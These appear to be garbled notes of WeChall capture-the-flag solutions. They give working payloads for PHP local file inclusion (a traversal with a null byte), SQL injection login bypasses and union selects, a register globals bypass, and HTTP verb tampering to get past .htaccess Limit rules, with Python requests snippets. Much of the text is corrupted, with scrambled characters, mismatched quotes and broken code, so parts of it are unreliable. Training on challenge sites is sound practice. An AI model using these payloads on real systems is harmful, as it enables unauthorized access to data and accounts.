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PHP - Local File Inclusion
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### Here is your exploit :) #iHt

HHH

$code = '$filename = \'pages/\'.(isset($_GET["file"])?$_GET["file"]:"welcome").\"'.html\';";
$code_emulate_pnb = '$filename = Common::substrUntil($filename, "\\0");'; # Emulate Poison Null Byte for
PHP>=5.3.4

$code2 = 'include $filename;';

### End of exploit ###
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http://www.wechall.net/challenge/training/php/1fi/up/index.php?file=../../solution.php%00

PHP-0817

Payload:

https://www.wechall.net/challenge/php0817/index.php?which=solution

Training:MYSQL |

Payload:

Username='admin' and 1=1#

Training:MYSQL Il

Payload:

username=admin' union select 1, 'admin',md5('password"');#

PHP - Register Globals

Payload:


https://blog.csdn.net/weixin_34101784
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/vincebye/p/7113447.html

http://www.wechall.net/challenge/training/php/globals/globals.php?login[@]=admin

Tips:

Register Globals L. PHP 5.3.0 #EE#H ¥ H PHP 5.4.0 k.
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Limited Access

AuthUserFile .htpasswd #5540 0F 1642
AuthGroupFile /dev/null #7410 1F#4%
AuthName "Authorization Required for the Limited Access Challenge"

AuthType Basic #HUGIEIS A

<Limit GET> #AVFGET /7 2\ ]
require valid-user HERIGUE I (9 F N
</Limit>

BEREP :http://hack.77169.com/HTML/20150212133446. shtm

Payload:

import requests

cookie={"WC" : " IXXXXX-XXXXX-XXXXXXXXXXX "}
url="http://www.wechall.net/challenge/wannabe7331/1limited_access/protected/protected.php’
res=requests.post(url, cookies=cookie)

Limited Access Too

AuthUserFile .htpasswd

AuthGroupFile /dev/null

AuthName "Authorization Required for the Limited Access Too Challenge"
AuthType Basic

<Limit GET POST HEAD PUT DELETE CONNECT OPTIONS>

require valid-user

</Limit>

2n% 7 PATCH, TRACE 772

Payload:

import requests

cookie={"WC"':'9690011-32984-bgehHEDU1I5z7iBn"}
url="http://www.wechall.net/challenge/wannabe7331/1limited_access_too/protected/protected.php’

TRACEHM curl -X TRACE url{&/m 77 iEAN i, ANFE A4
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